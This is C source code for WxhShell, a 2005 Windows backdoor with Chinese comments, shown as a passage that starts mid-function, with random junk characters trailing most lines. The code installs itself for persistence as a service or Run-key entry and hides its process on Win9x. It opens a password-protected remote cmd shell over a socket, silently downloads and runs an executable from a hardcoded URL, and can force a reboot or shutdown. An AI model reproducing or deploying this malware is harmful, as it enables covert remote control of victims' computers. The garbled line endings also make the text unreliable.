    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X.q#ZpK  
    if(Boot(SHUTDOWN)) _$HCNFdh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |qf9-36   
    else { G&M)n*o  
    closesocket(wsh);  Spo[JQ%6  
    ExitThread(0); 7-9HCP  
    } la]Zk  
    break; A9[D.W9>  
    } F:0 E- z'  
  // 获取shell ?ia O6HD  
  case 's': { OQyZ'  
    CmdShell(wsh); &mA{_|>  
    closesocket(wsh); I;P!   
    ExitThread(0); vDc&m  
    break; Fy_~~nI0  
  } 1gYvp9Ma  
  // 退出  |FFM Q"  
  case 'x': { + J}h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i.ivHV~ -  
    CloseIt(wsh); ]ddL'>$c$  
    break; . ve a[  
    } U/rFH9e$  
  // 离开 4'`*Sce}  
  case 'q': { ]U 1S?p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %8|?YxiZ:  
    closesocket(wsh); l~*d0E-$  
    WSACleanup(); OnE~0+  
    exit(1); lJ4/bL2I/  
    break; q&wv{  
        } H.2aoZ-w  
  } 6b4]dvl_  
  } @Z9>E+udQ  
?T[K{t;~jo  
  // 提示信息 #)KQ-x,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `{S4_'  
} (i^<er q  
  } x^UAtKSy  
n(Ry~Xu_  
  return; G0x!:[  
} FOX0  
ery{>|k  
// shell模块句柄 8uetv  
int CmdShell(SOCKET sock) 1 swqs7rR|  
{ lMXLd91  
STARTUPINFO si; I;?np  
ZeroMemory(&si,sizeof(si)); (_~Dyvo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G\S_e7$ /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %0eVm   
PROCESS_INFORMATION ProcessInfo; iA+zZVwO  
char cmdline[]="cmd"; ebB8.(k9G3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zLVk7u{e  
  return 0; =xHzhh  
} &vS@-K  
f<2<8xS  
// 自身启动模式 p/&s-G F  
int StartFromService(void) ^g N?Io  
{ ~2U5Wt  
typedef struct zzyD'n7D  
{ uB3Yl =P  
  DWORD ExitStatus; DUu~s,A  
  DWORD PebBaseAddress; je~gk6}Y  
  DWORD AffinityMask; %;tBWyq}_  
  DWORD BasePriority; gS ^Y?  
  ULONG UniqueProcessId; TInp6w+u  
  ULONG InheritedFromUniqueProcessId; se]QEd7]7  
}   PROCESS_BASIC_INFORMATION; si>gYO  
L)/^%/!  
PROCNTQSIP NtQueryInformationProcess; L@LT*M  
yDBMm^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $t42?Z=N&z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U10:@Wzh  
cP(is!  
  HANDLE             hProcess; /7XVr"R  
  PROCESS_BASIC_INFORMATION pbi; 1jQlwT(:  
Z"g6z#L&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %(n^re uP  
  if(NULL == hInst ) return 0; 5_Opx=  
+h? z7ZY^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3r,^is  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); } {m.\O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @k,}>Tk  
TP&&' 4?D1  
  if (!NtQueryInformationProcess) return 0; +B0G[k7  
@Ui dQX"b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I!1nB\l  
  if(!hProcess) return 0; Yi+~}YP.E(  
aY7.<p*a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XUyoZl?  
%d\|a~p:  
  CloseHandle(hProcess); E5b JIC(  
z.7'yJIP#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rX<gcntv  
if(hProcess==NULL) return 0; Qe )#'$T  
@.fyOyOC  
HMODULE hMod; sR1 &2hB  
char procName[255]; `b{.K,  
unsigned long cbNeeded; HKdR?HM1  
}@V ,v[&e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4U*uH  
!F|iL  
  CloseHandle(hProcess); > WW5A py[  
#`0iN+qh  
if(strstr(procName,"services")) return 1; // 以服务启动 Ay Obaa5  
: a4FO  
  return 0; // 注册表启动 >5jHgs#  
} &Tf R].  
HGgw<Os-k  
// 主模块 S0ct;CS  
int StartWxhshell(LPSTR lpCmdLine) 2F[;Z*&  
{ !I? J^0T  
  SOCKET wsl; /e5Fx  
BOOL val=TRUE; ^gdg0y!5~  
  int port=0; (pjmE7 `"P  
  struct sockaddr_in door; j{nkus2  
Mlpq2I_x  
  if(wscfg.ws_autoins) Install(); cg,_nG]i  
"Jp6EL%  
port=atoi(lpCmdLine); B9_0 Yq  
TLL.Ch|#Y  
if(port<=0) port=wscfg.ws_port; n]B)\D+V^  
Te{L@sj  
  WSADATA data; pr-{/6j6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6wWA(![w"  
BX),U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m,u? ^W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XU0"f!23x  
  door.sin_family = AF_INET; N[}XLhbt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); omV.Qb'NS  
  door.sin_port = htons(port); TBQ`:`g^m  
d]e`t"Aj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tE{7S/?h  
closesocket(wsl); !UUh7'W4u  
return 1; !qH=l-7A  
} U6=m4]~Z  
XEZ6%Q_  
  if(listen(wsl,2) == INVALID_SOCKET) { 7l Aa6"Y68  
closesocket(wsl); lb1(1 |#  
return 1; >t8eVMMa  
} tazBZ'\c  
  Wxhshell(wsl); /$rS0@p  
  WSACleanup(); #%e`OA(b  
O)5-6lm  
return 0; cQPH le2  
i=2+1 ;K  
} &TbnZnv  
RpLm'~N'  
// 以NT服务方式启动 v *:m|wl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rMlbj2T  
{ t9pPG{1  
DWORD   status = 0; qrX6FI  
  DWORD   specificError = 0xfffffff; Gz*U?R-T  
bM^'q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .yWdlq##  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z|P& 8#txM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `%ymg8^  
  serviceStatus.dwWin32ExitCode     = 0; #8/Z)-G  
  serviceStatus.dwServiceSpecificExitCode = 0; !#iP)"O  
  serviceStatus.dwCheckPoint       = 0; Vxgc|E^J  
  serviceStatus.dwWaitHint       = 0; >8NQ8i=]V1  
fQx 4/4j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FpRK^MEkG  
  if (hServiceStatusHandle==0) return; 9J]LV'f7  
NM]6  o  
status = GetLastError(); */8\Z46z  
  if (status!=NO_ERROR) -`?V8OwY]  
{ FyS K&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E 0oJ|My  
    serviceStatus.dwCheckPoint       = 0; x@k9]6/zs  
    serviceStatus.dwWaitHint       = 0; o!H"~5Trv!  
    serviceStatus.dwWin32ExitCode     = status; x`eYCi  
    serviceStatus.dwServiceSpecificExitCode = specificError; (~#PzE :  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cL WM]\Y  
    return; \R#XSW,  
  } ohh 1DsB  
"1#,d#Q$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RZ.5:v6  
  serviceStatus.dwCheckPoint       = 0; 7I.[1V`  
  serviceStatus.dwWaitHint       = 0; c&_3"2:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kc{wv/6}T  
} tIvtiN6[|l  
p' gv5\u[w  
// 处理NT服务事件,比如:启动、停止 54)}^ftY^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '/p5tw8  
{ $i`YtV  
switch(fdwControl) G37_ `C  
{ QDDSJ>l5_T  
case SERVICE_CONTROL_STOP: 4i19HD_  
  serviceStatus.dwWin32ExitCode = 0; 0!zWXKX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B=p'2lla  
  serviceStatus.dwCheckPoint   = 0; HYY|) Wo  
  serviceStatus.dwWaitHint     = 0; v]1rH$  
  { bBQp:P?E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :dj@i6  
  } l-npz)EM  
  return; ~lL($rE  
case SERVICE_CONTROL_PAUSE: s-DtkO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b13>>'BMB  
  break; 4q~E\l|.5  
case SERVICE_CONTROL_CONTINUE: bC{~/ JP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9PBmBP ~  
  break; v ;A  
case SERVICE_CONTROL_INTERROGATE: aqN.5'2\  
  break; 93rE5eGs  
}; *5NffiA}-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !`WuLhB`  
} dvf*w:5K!  
5SjS~ 9  
// 标准应用程序主函数 *Zvw&y*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) prWid3}  
{ nk{1z\D{  
ubQ(O uM"  
// 获取操作系统版本 6 qq7:  
OsIsNt=GetOsVer(); 68SM br  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v3NaX.  
izxCbbg  
  // 从命令行安装 Q&J,"Vxw  
  if(strpbrk(lpCmdLine,"iI")) Install(); O<hHo]jLF  
Cr` 0C  
  // 下载执行文件 j0GI[#  
if(wscfg.ws_downexe) { 1m0':n Vdu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @K/I a!Lw  
  WinExec(wscfg.ws_filenam,SW_HIDE); g DhwJks  
} r~TT c)2  
>&VL2xLy  
if(!OsIsNt) { V#~. Jg7  
// 如果时win9x,隐藏进程并且设置为注册表启动 6~}H3rvO}  
HideProc(); JVkawkeX  
StartWxhshell(lpCmdLine); A=$oYBB  
} >W;i2%T  
else )=D&NO67Pq  
  if(StartFromService()) T)uw2  
  // 以服务方式启动 /\#5\dHj  
  StartServiceCtrlDispatcher(DispatchTable); Zx_m?C_2_  
else No7Q,p  
  // 普通方式启动 #RF=a7&F  
  StartWxhshell(lpCmdLine); 8VZ-`?p  
@I&"P:E0F;  
return 0; kslN_\   
} F MVmH!E  
tX251S  
asg>TO W  
k@L~h{`Mc\  
=========================================== =r~. I  
yShHFlO=  
ju#6 3  
e@OA>  
.N=hA  
q8Dwu3D  
" +!v RU`  
2An`{')  
#include <stdio.h> "b 0cj  
#include <string.h> =@2V#X]M*  
#include <windows.h> _ ^{Ep/ME=  
#include <winsock2.h> [R4x[36Zp  
#include <winsvc.h> IMza 2  
#include <urlmon.h> mB{{o}'<u  
B$l`9!,  
#pragma comment (lib, "Ws2_32.lib") 9$&e~^&B  
#pragma comment (lib, "urlmon.lib") ~8*oGG~s  
oui!fTy  
#define MAX_USER   100 // 最大客户端连接数 er0D5f R  
#define BUF_SOCK   200 // sock buffer BuTIJb+Q\  
#define KEY_BUFF   255 // 输入 buffer 0>iFXw:fn  
^d80\PXz  
#define REBOOT     0   // 重启 ]ufW61W6Ci  
#define SHUTDOWN   1   // 关机 !dY:S';~  
|8 bO5l:  
#define DEF_PORT   5000 // 监听端口 |Vi&f5p,@  
It4z9Gh  
#define REG_LEN     16   // 注册表键长度 AxlFU~E4  
#define SVC_LEN     80   // NT服务名长度 N}fUBX4k  
A[kH_{to;  
// 从dll定义API ht)nx,e=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %i8>w:@NW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S |>$0P4W(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jwd&[ O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V:BX"$ J1  
SDHc[66'  
// wxhshell配置信息 ex \W]5  
struct WSCFG { c^O#O  
  int ws_port;         // 监听端口 WEtA4zCO  
  char ws_passstr[REG_LEN]; // 口令 1~DD9z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1?|6odc  
  char ws_regname[REG_LEN]; // 注册表键名 \bm6/fhA:  
  char ws_svcname[REG_LEN]; // 服务名 `t0f L\T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {|Ki^8h/p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -'[(Uzj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ia`JIc^e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no drKjLo[y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }b+QYSt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >:E* 7  
RR!!hY3 K  
}; d-;9L56{P  
;{f??G  
// default Wxhshell configuration P%sO(_PuT  
struct WSCFG wscfg={DEF_PORT, ] 5v4^mk  
    "xuhuanlingzhe", <;cE/W}}  
    1, qzA]2'~Q  
    "Wxhshell", C$LRY~ \  
    "Wxhshell", b/B`&CIA0"  
            "WxhShell Service", knOn UU  
    "Wrsky Windows CmdShell Service", C`n9/[,#  
    "Please Input Your Password: ", F|?'9s*;6G  
  1, q|o |/O-{  
  "http://www.wrsky.com/wxhshell.exe", 0[:9 Hb6  
  "Wxhshell.exe" eh:}X}c=J]  
    }; #[a"%byTR  
b"nG-0JR  
// 消息定义模块 6f?BltFaN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xN3 [Kp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .L7Yf+yFg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ) p<fL  
char *msg_ws_ext="\n\rExit."; d"I28PIS"  
char *msg_ws_end="\n\rQuit."; W 9Vz[  
char *msg_ws_boot="\n\rReboot..."; +K;Y+ K&;2  
char *msg_ws_poff="\n\rShutdown..."; n<?SZ^X{,/  
char *msg_ws_down="\n\rSave to "; wfDp,T3w7  
dGsS<@G  
char *msg_ws_err="\n\rErr!"; r|^lt7\  
char *msg_ws_ok="\n\rOK!"; ?Z Rkn+;  
H+VO.s.a  
char ExeFile[MAX_PATH]; 6!+X.+  
int nUser = 0; /z1p/RiX  
HANDLE handles[MAX_USER]; lMBX!9z  
int OsIsNt; 1t~FW-:  
9K;k%  
SERVICE_STATUS       serviceStatus; =!(*5\IM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RQ^m6)BTo  
v._Egk0  
// 函数声明 j?\$G.Y  
int Install(void); JG@L5f  
int Uninstall(void); V)0[`zJ  
int DownloadFile(char *sURL, SOCKET wsh); SqXy;S@  
int Boot(int flag); <E>7>ZL  
void HideProc(void); K/vxzHSl  
int GetOsVer(void); eC6>yD6D  
int Wxhshell(SOCKET wsl);  ofMu3$Q  
void TalkWithClient(void *cs); K`Bq(z?/  
int CmdShell(SOCKET sock); VY/|WD~"CW  
int StartFromService(void); .4Qb5I2#  
int StartWxhshell(LPSTR lpCmdLine); s, n^  
?}'N_n ys  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); | }K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /Jxq 3D)v  
.P)s4rQ\  
// 数据结构和表定义 WI1T?.Gc   
SERVICE_TABLE_ENTRY DispatchTable[] = n1QEu"~Zj  
{ N;-/wip  
{wscfg.ws_svcname, NTServiceMain}, 6OL41g'  
{NULL, NULL} {TyCj?3B  
}; C=N! z  
AL>c:K)qO  
// 自我安装 P<%v +O  
int Install(void) i@P 9EU  
{ {(rf/:X!p  
  char svExeFile[MAX_PATH]; O( VxMO  
  HKEY key; 7\IL  
  strcpy(svExeFile,ExeFile); i[$-_  
Q  |  
// 如果是win9x系统,修改注册表设为自启动 ]\A1mw-T  
if(!OsIsNt) { gU l1CH&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `-VG ?J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w{PUj  
  RegCloseKey(key); sffhPX\I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B@ -|b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Ei5z6Vk/+  
  RegCloseKey(key); zhNQuK,L  
  return 0; :<L5sp  
    } 5XDgs|8  
  } -*?p F_*w  
} 'X9AG6K1  
else { E W`W~h[  
'|Qd0,Z  
// 如果是NT以上系统,安装为系统服务 +A@m9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d$pYo)8o({  
if (schSCManager!=0) C1b*v&1{  
{ xcst<=  
  SC_HANDLE schService = CreateService w4UD/zO  
  ( 0; 7#ji  
  schSCManager, KYp[Gs  
  wscfg.ws_svcname, ;AKwx|I$g  
  wscfg.ws_svcdisp, +jUgx;u,  
  SERVICE_ALL_ACCESS, G~"z_ (  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z:!IX^q;}n  
  SERVICE_AUTO_START, :$Q`>k7A  
  SERVICE_ERROR_NORMAL, c S4DN  
  svExeFile, I!P4(3skAB  
  NULL, `xCOR  
  NULL, S_6g~PHsr  
  NULL, ["u#{>(X  
  NULL, 1w`2Dt  
  NULL k0JW[04j  
  ); C0QM#"[  
  if (schService!=0) msiu8E  
  { 3f"C!l]Xu  
  CloseServiceHandle(schService); z`4c 4h]I  
  CloseServiceHandle(schSCManager); jXixVNw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q=WySIF.  
  strcat(svExeFile,wscfg.ws_svcname); ZWS2q4/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M ,`w A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :|rPT)yT]  
  RegCloseKey(key); qw<HY$3=  
  return 0; c;9.KCpwx  
    } R:M,tL-l  
  } ^*0'\/N&  
  CloseServiceHandle(schSCManager); O#)jr-vXdV  
} {L].T#  
} `<U5z$^QTw  
&n:{x}Uc  
return 1; 7VAJJv3  
} L0L2Ns  
$5NKFJc  
// 自我卸载 1'JD=  
int Uninstall(void) H>XFz(LWh  
{ zU&L.+   
  HKEY key; p $Hi[upy  
 .t =  
if(!OsIsNt) { '1Y\[T*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?T!)X)A#  
  RegDeleteValue(key,wscfg.ws_regname); pvF-Y9Xb  
  RegCloseKey(key); 4t*so~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ji?#.r`"n  
  RegDeleteValue(key,wscfg.ws_regname); MjD75hIZ  
  RegCloseKey(key); u-3:k  
  return 0; !Ms[eB  
  } n<7u>;SJQ  
} Dvc&RG  
} ]{GDS! )  
else { dg_Gs>?2  
Z6Fp\aI8@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z"y=sDO{  
if (schSCManager!=0) jQ+sn/ROp  
{ H,y4`p 0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mxl]"?z  
  if (schService!=0) cBXWfv4  
  { Kr-G{b_Pp  
  if(DeleteService(schService)!=0) { {<=#*qx[Y!  
  CloseServiceHandle(schService); O9"/ kmB  
  CloseServiceHandle(schSCManager); (Un_!)  
  return 0; 'e!J06  
  } Iz@)!3h  
  CloseServiceHandle(schService); 4(8xjL:  
  } VIJ<``9[  
  CloseServiceHandle(schSCManager); k{I 01  
} @~ETj26U'  
} i'#Gy,R  
6"f}O<M 5H  
return 1; E3aDDFDH  
} 8|%^3O 0X  
D5,P)[  
// 从指定url下载文件 cC'x6\a  
int DownloadFile(char *sURL, SOCKET wsh) ?OlV"zK  
{ x[ 3A+  
  HRESULT hr; vVl; |  
char seps[]= "/"; F4L;BjnJ  
char *token; BV#78,8(  
char *file; 2L?!tBw?1  
char myURL[MAX_PATH]; :'iYxhM.V  
char myFILE[MAX_PATH]; GH1"xR4!  
4m)OR  
strcpy(myURL,sURL); u8GMUN  
  token=strtok(myURL,seps); n\z,/'d"  
  while(token!=NULL) .iX# A<E}  
  { ,#?uJTLH  
    file=token; d;mx<i=/  
  token=strtok(NULL,seps); &0zT I?c  
  } )Gw~XtB2  
zOgTQs"ZH  
GetCurrentDirectory(MAX_PATH,myFILE); *^%Q0mU[  
strcat(myFILE, "\\"); YjOs}TD lx  
strcat(myFILE, file); 9}a_:hAy/  
  send(wsh,myFILE,strlen(myFILE),0); 29CINC  
send(wsh,"...",3,0); \^7C0R-hX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w }^ I  
  if(hr==S_OK) VA *y|Q6  
return 0; `K~AhlJUQ  
else Suk  
return 1; 8{`?= &%6  
evkH05+;W  
} c:Wze*vI ;  
h.O$]:N  
// 系统电源模块 )q7UxzE+  
int Boot(int flag) EnOU?D  
{ NT@;N/I  
  HANDLE hToken; bwiPS1+);  
  TOKEN_PRIVILEGES tkp; B#/Q'V  
\%^%wXfp  
  if(OsIsNt) { M9zfT !-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sVG(N.y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q[`j`8YY!R  
    tkp.PrivilegeCount = 1; U- )i+}Ng  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cuy1DDl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b[V^86X^  
if(flag==REBOOT) { ys 5&PZg*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,^#yo6-  
  return 0; Reatd h  
} a7N!B'y  
else { T)r9-wOq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6G=j6gK%P  
  return 0; t%F0:SH  
} \=_{na_  
  } (}}S9 K  
  else { !%$`Eq)M^7  
if(flag==REBOOT) { |4'Y/re  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +\v?d&.f0  
  return 0; zOQ>d|p?X  
} Q-1vw6d  
else { (<^yqH?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _a1x\,R|DB  
  return 0; "~'b  
} 72'5%*1  
} M![J2=  
5LOo8xN  
return 1; o}ZdTf=  
} TqnT S0fx  
~?(N  
// win9x进程隐藏模块 aA,!<^&}  
void HideProc(void) EAM5{Nc  
{ E~6c-Lw  
>p"c>V& 8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <_7*67{  
  if ( hKernel != NULL ) aTt 12Sc  
  { R6(oZph  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j:VbrR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AB4(+S*LA  
    FreeLibrary(hKernel); k?,1x~  
  } ]UmFhBR-  
DP|D\+YyYA  
return; 62zYRs\Y)X  
} -PfX0y9n  
P}4QQw  
// 获取操作系统版本 w 47tgPPk  
int GetOsVer(void) nR-YrR*k  
{ P09;ng67  
  OSVERSIONINFO winfo; a*&B`77`|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0.@&_XTPl  
  GetVersionEx(&winfo); 6}!#;@D~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ 69oV:  
  return 1; H*r)Z 90  
  else 2I,^YWR  
  return 0; }n>p4W"OM  
} M r5v<  
j3{D^|0bP  
// 客户端句柄模块 xjKR R?  
int Wxhshell(SOCKET wsl) $adbCY \  
{ r2,.abo  
  SOCKET wsh; ~ Q.7VDz  
  struct sockaddr_in client; AHXSt  
  DWORD myID; q!|*oUW  
)mF5Vw"  
  while(nUser<MAX_USER) F9,DrB,B{  
{ ]7Tkkw$  
  int nSize=sizeof(client); t%E!o0+8Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `)T13Xv  
  if(wsh==INVALID_SOCKET) return 1; e,W%uH>X  
tp63@L|Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ur:3W6ZKl  
if(handles[nUser]==0) s~5[![1 K  
  closesocket(wsh); Bu#VMk chJ  
else iO|se:LY<  
  nUser++; @$[?z9ck"  
  } W04@!_) <  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E2R&[Q"%  
MkfBu W;)  
  return 0; leTf&W  
} Cv6'`",Yzm  
xMTKf+7  
// 关闭 socket Vl& ?U  
void CloseIt(SOCKET wsh) \hDlTp }  
{ _m5uDF?[  
closesocket(wsh); aX)I3^ar  
nUser--; Q(wx nm  
ExitThread(0); pwL ;A3$|  
} 2 ^h27A  
/Z'L^ L%R  
// 客户端请求句柄 v+46 QK|I&  
void TalkWithClient(void *cs) 47+&L   
{ I>]oS(GNT  
)dbB =OZ  
  SOCKET wsh=(SOCKET)cs; l;R%= P?'F  
  char pwd[SVC_LEN]; hYPl&^  
  char cmd[KEY_BUFF]; m$}R%  
char chr[1]; G_bG  
int i,j; 8 OY3A  
,?8qpEG~#+  
  while (nUser < MAX_USER) { *W,]>v0%T  
?Y-%'J(  
if(wscfg.ws_passstr) { uki#/GzaO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $WyD^|~SF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vQosPS_2L  
  //ZeroMemory(pwd,KEY_BUFF); _}lZ,L(w  
      i=0; Uc7mOa}4  
  while(i<SVC_LEN) { PRu 6xsyA  
^Cu\VV  
  // 设置超时 \KMToN&2  
  fd_set FdRead; j9eTCJqB  
  struct timeval TimeOut; S%bCyK%p  
  FD_ZERO(&FdRead); i UCXAWP  
  FD_SET(wsh,&FdRead); 27 ]':A4_  
  TimeOut.tv_sec=8; ~ {E'@MU  
  TimeOut.tv_usec=0; R "n 5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Lc-7[/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @mOH"acGn?  
fd +hA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "+kL )]  
  pwd=chr[0]; |^:cG4e  
  if(chr[0]==0xd || chr[0]==0xa) { qkt0**\  
  pwd=0; )Xk0VDNp$/  
  break; HG^B#yX  
  } .L9j>iP9 *  
  i++; msP{l^%0  
    } =5J7Hw&K  
K-bD<X  
  // 如果是非法用户,关闭 socket F"&~*m^+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f,h J~  
} K(q+ "  
;YA(|h<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xbdN0MAU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :o|\"3  
vI:;A/&  
while(1) { +ln9c  
LxYrl-  
  ZeroMemory(cmd,KEY_BUFF); rf $QxJ  
F<n3  
      // 自动支持客户端 telnet标准   "S8uoSF`>  
  j=0;  .u*0[N  
  while(j<KEY_BUFF) { ]JCvyz H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Wfx+F  
  cmd[j]=chr[0]; -m)X]]~C  
  if(chr[0]==0xa || chr[0]==0xd) { cJ{ Nh;"  
  cmd[j]=0; GR&z,  
  break; h]Wr [v  
  }  'C`U"I  
  j++; }p}[j t  
    } DnC{YK  
/ : L?~  
  // 下载文件 wP6 Fl L  
  if(strstr(cmd,"http://")) { "3Uv]F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wi*.TWz3  
  if(DownloadFile(cmd,wsh)) A#Iyb){Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S]bmS6#  
  else iL7DRQ1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UYk/v]ZA  
  } D>HOn^   
  else { 695V3R 7  
/JFUU[W  
    switch(cmd[0]) { O #F   
  Sx708`/Ep  
